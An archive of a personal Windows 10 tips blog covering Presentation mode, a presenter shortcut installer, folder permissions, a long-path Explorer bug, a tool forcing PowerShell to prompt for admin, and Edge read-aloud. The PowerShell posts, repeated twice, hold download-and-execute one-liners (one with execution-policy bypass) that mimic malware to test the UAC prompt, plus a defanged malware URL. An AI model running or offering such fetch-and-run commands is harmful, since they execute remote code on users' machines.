Saturday, June 30, 2018

Giving a presentation use Windows Presentation mode in Windows 10

How to use Windows Presentation mode in Windows 10

Ever need to prevent your computer from going to sleeping while do a presentation. Well this built-in windows tool is for you. 

While Windows Presentation mode is enabled it does the following; 

  • prevents laptop form going to sleep
  • system notifications are turned off
  • prevents screen saver from appearing 
  • show a sponsors background image during presentation

Hit Win+R key, and type presentationsettings.exe

OR you can use my handy presentation shortcut tool, and get this in one click.













Background images are from %HOMEDRIVE%%HOMEPATH%\Pictures and  
images are from windows themes located here
C:\Windows\Web\...


Friday, June 29, 2018

1-Click Installer for Presenters Desktop Shortcuts Tool for Windows 10 1803 Spring Creators Update


This tool installs a "Presentation Apps" Context-Menu accessible from you Windows Desktop that contains the following handy shortcuts too; 

  • Presentation Settings - set laptop to stay awake, system notifications off, screen saver off
  • Calculator 
  • Control Panel Properties to Mouse, Sound, and Display (to extend it)
  • Magnifier (to zoom in on parts of the screen, during presentation)
  • Snipping Tool (create presentation, capture portions of screen)
  • Problem Steps Recorder - annotate full screen captures 
  • Voice Recorder App - record sound using Window 10 Metro App
  • Screen Recroder - Run Encoder 4 Screen Capture - you must first install Microsoft Expression Encoder 4 with Service Pack 1 (SP2) free version records 10 mins at a time.
  • Window Media Player (play audio and video files)
  • Wordpad (quick annotations while presenting)
  • Zoomit - (new) Systernals Zoomit - zoom and write on screen

This utility has the following features; 

  • works on Windows 10 (and corresponding Server version) 64-bit version only
  • adds link to Microsoft Expression Encoder 4 Screen Capture (must be download and installed separately)
  • add link to Zoomit (must be download and installed separately)
  • comes with proper uninstaller located in "Add or Remove Programs" Programs and Features


Prerequisites (kinda)

  • Download Zoomit and copy to C:\Windows\
  • Download and Install Microsoft Expression Encoder 4 with Service Pack 1 (optional)

    It's free from Microsoft and works on Windows 10+, with one caveat; the free version records only 10 mins at a time.

    NOTE: If you don't install above the Zoomit or Screen Recorder then those link will simply not work.

Install

Prerequisite:  Your user account must be part Administrators group or you know Administrator password to install.
  1. Download and unzip PresentationAppsWin10.zip.
  2. Simply, right-click onPresentationAppsWin10.inf and click Installthat's it.


Uninstall

The great thing about this inf file, is it creates a uninstall option.

Goto Programs and Features, and double-click "Presentation Shortcuts for Desktop Context-Menu (Uninstall only)" to uninstall.





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1-Click Installer for Presenters Desktop Shortcuts Tool for Windows 10 and Creators Update


1-Click Install for Windows Media Taskbar Mini-Player for Windows 10 and Creators Update (64-bit)


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Path Too Long Auto Fixer R4 - the only tool that auto corrects long filenames and paths to fit under the 260 character limit



Monday, June 25, 2018

How to remove permissions from a folder in Windows 10


Firstly, you (current logged-in username) have to take “full control” folder in question.


1.Right-click on folder and choose Security tab.



2. Click Advanced and click Change (if your user is not owner)




3. Click Advanced to get next pop-up windows in 4.




4. Click Find Now button to list all current users and groups. Select your username and click Ok button.




5. Choose “Replace owner on subcontainers (folders) and objects (files)” if appropriate. This will make you the owner of all sub-folders and files recursively.


Note: This may take some time to process all the permission changes for a folder with allot of files in it and/or sub-directories. Be patient.



Now that you are owner you can remove permissions.

6. Select Group or user names you want to edit/remove permissions for the choose Edit button.



7. Choose to allow/deny individual permission types in the “Permission for Users” areas. Or completely remove entire group/user choose Remove button.

Click Apply button to process.




8. Fini

Sunday, June 24, 2018

Windows Explorer Bug - Properties shows Incorrect/Wrong File And Folder Counts for Paths Too Long

Yours truly, has found another Windows Explorer bug this time surfaced whilst building my tool the Path Too Long Auto Fixer app. This is still is an issue for the latest build of Microsoft Windows 10 Pro 1803 (10.0.17134.112).

It's well know Windows Explorer, cannot copy paths that are too long, but also it cannot report folder Properties properly for paths that are too long. This was the main motivation behind building the the Path Too Long Auto Fixer tool, to automate the correction of paths that are too long to fit under 260 characters.

The Windows Explorer bug is demonstrated in the image below, there are text files each with a size of 1kb each in the overlimit (folder). The Properties pop-up however indicates a total size 0 bytes and size on disk 0 bytes, which is incorrect.

Furthermore, the counts are incorrect showing that folder overlimit Contains 0 files, 257 folders which is clearly wrong. 
It seems for paths that are too long Windows Explorer is reporting all files as folders.

Windows 10, Size is incorrect, and Contains Files/Folder counts are wrong for paths too long.



























The command line dir command gets file counts correctly. 





Wednesday, June 20, 2018

Always repeatedly run Powershell.exe command line as Administrator for Windows 10+ with easy installer


This install will force 
Powershell.exe to "Run as Administrator" every time causing a UAC pop-up asking to run as Administrator privileges or denying it.


It's a 
simple way to monitor invocation of scripts from some rogue/hack attempts that uses default powershell.exe command to launch scripts. Clever and recent Powershell malware download there own builds of the poweshell.exe.

July 3 Update: Post Malware Authors Seem Intent on Weaponizing Windows SettingContent-ms Files  - Uses PowerShell to download malware  https://lanitida[.]net/LAW231.exe & launch %APPDATA%\Rundll32.exe


Image Source: https://blog.malwarebytes.com/threat-analysis/2018/07/new-macro-less-technique-used-distribute-malware/















The following image of malware is an example is from Trend Micro "Security 101: The Rise of Fileless Threats that Abuse PowerShell" will not work, it will force the UAC pop-up upon using install this.

A code snapshot of macro malware that uses “^” for command shell obfuscation. (using this script will force UAC pop-up)

You can test it for yourself, run this command in Powershell ISE

(New-Object System.Net.WebClient).DownloadFile('https://bit.ly/Readkeyps1',"$env:temp\Readkey.ps1"); & "$env:temp\Readkey.ps1" -u

it will run and wait for a key to be pressed. https://bit.ly/Readkeyps1 downloads Readkey.ps1

Or this command past into choose Windows Start->RUN  (simulate use by malware) 


cmd.exe /c powershell.exe -executionpolicy bypass -command "(New-Object System.Net.WebClient).DownloadFile('http://bit.ly/Readkeyps1',\"$env:temp\Readkey.ps1\"); & \"$env:temp\Readkey.ps1\" -u"

-WindowStyle Hidden is removed because it would hide the input key Powershell window. 


After install of this script, you'll get UAC pop-up (see image below).



Also run a script from CMD line will not run, because the ".\" (current directory)  will no be passed correctly. For example, powershell .\Readkey.ps1
will fail from any other directory that C:\windows and 2 directories below.












Setting Privileged Level is not accessible otherwise via Properties window in these default Windows 10+ directories;

  • x64 DIRECTORY - C:\Windows\System32\WindowsPowerShell\v1.0\ 
  • x32 DIRECTORY - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\
In Windows 10, the Compatibility tab is not available


This utility has the following features; 

This .inf installer copies the current default Powershell.exe location to C:\Windows\Powershell.exe, to become new default windows Powershell.exe that will be run. 

WARNING : THIS WILL BREAK the .\anyscript.ps1 directive
Also run a script from CMD line will not run, because the ".\" (current directory)  will no be passed correctly. 

Does not install any software, just sets some registry settings to enable the registry setting. Additionally,  it provides a proper uninstall option.

Bonus:
  • Works in Windows 10(and  equivalent Server versions).
  • comes with proper uninstaller located in "Add or Remove Programs" or Programs and Features
Download
↓ PowershellexeRunAsAdminWin10BatFile.zip
Install 64-bits Only

Prerequisite:  Your user account must be part Administrators group or you know Administrator password to install. 
1. Tip! Back-up your registry as a precaution.

2. Download and Unzip file PowershellexeRunAsAdminWin10BatFile.zip

3. Simply, right-click on
PowershellexeRunAsAdminWin10.bat
    and Run as administratorthat's it.

Uninstall

The great thing about this script file, is it creates a uninstall option.

Search for "Add or Remove Programs" or goto Programs and Features, and right-click on the "Powershell.exe Run as Admin Win 10 (Uninstall only)" and choose Uninstall to completely remove.




Windows Major Updates

You may have to reinstall this to run any updates to Powershell platform.


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Tuesday, June 19, 2018

Set Powershell.exe command line to run as Administrator as default for Windows 10+ with 1 click installer



This install will force
Powershell.exe to "Run as Administrator" every time causing a UAC pop-up asking to run as Administrator privileges or denying it.

It's a simple way to monitor invocation of scripts from some rogue/hack attempts that uses default powershell.exe command to launch scripts. Clever and recent Powershell malware download there own builds of the poweshell.exe.

The following image of malware is an example is from Trend Micro "Security 101: The Rise of Fileless Threats that Abuse PowerShell" will not work, it will force the UAC pop-up upon using install this.

A code snapshot of macro malware that uses “^” for command shell obfuscation. (using this script will force UAC pop-up)

You can test it for yourself, run this command in Powershell ISE

(New-Object System.Net.WebClient).DownloadFile('https://bit.ly/Readkeyps1',"$env:temp\Readkey.ps1"); & "$env:temp\Readkey.ps1" -u

it will run and wait for a key to be pressed. https://bit.ly/Readkeyps1 downloads Readkey.ps1

Or this command past into choose Windows Start->RUN  (simulate use by malware) 


cmd.exe /c powershell.exe -executionpolicy bypass -command "(New-Object System.Net.WebClient).DownloadFile('http://bit.ly/Readkeyps1',\"$env:temp\Readkey.ps1\"); & \"$env:temp\Readkey.ps1\" -u"

-WindowStyle Hidden is removed because it would hide the input key Powershell window. 


After install of this script, you'll get UAC pop-up (see image below).



Also run a script from CMD line will not run, because the ".\" (current directory)  will no be passed correctly. For example, powershell .\Readkey.ps1

will fail from any other directory that C:\windows and 2 directories below.


 PowerShell running as Admin










Setting Privileged Level is not accessible otherwise via Properties window in these default Windows 10+ directories;

  • x64 DIRECTORY - C:\Windows\System32\WindowsPowerShell\v1.0\ 
  • x32 DIRECTORY - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\
In Windows 10, the Compatibility tab is not available


This utility has the following features; 



This .inf installer copies the current default Powershell.exe location to C:\Windows\Powershell.exe, to become new default windows Powershell.exe that will be run.
Does not install any software, just sets some registry settings to enable the registry setting. Additionally,  it provides a proper uninstall option.

Bonus:
  • Works in Windows 10(and  equivalent Server versions).
  • comes with proper uninstaller located in "Add or Remove Programs" or Programs and Features
Download
↓ PowershellexeRunAsAdminWin10BatFile.zip
Install 64-bits Only

Prerequisite:  Your user account must be part Administrators group or you know Administrator password to install. 
1. Tip! Back-up your registry as a precaution.

2. Download and Unzip file PowershellexeRunAsAdminWin10BatFile.zip

3. Simply, right-click on
PowershellexeRunAsAdminWin10.bat
    and Run as administratorthat's it.

Uninstall

The great thing about this script file, is it creates a uninstall option.

Search for "Add or Remove Programs" or goto Programs and Features, and right-click on the "Powershell.exe Run as Admin Win 10 (Uninstall only)" and choose Uninstall to completely remove.




Windows Major Updates

You may have to reinstall this to run any updates to Powershell platform.


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Saturday, June 16, 2018

Read aloud an eBook, PDF or Web Page in Windows 10 with Edge Browser

Edge Browser can read aloud eBooks, PDFs and Web Pages in Windows 10.

















Hear it in action 



Here's how you can adjust the reading speed in Edge Browser.




















Here's how you read a The Project Gutenberg EBook of The Iliad of Homer by Homer PDF.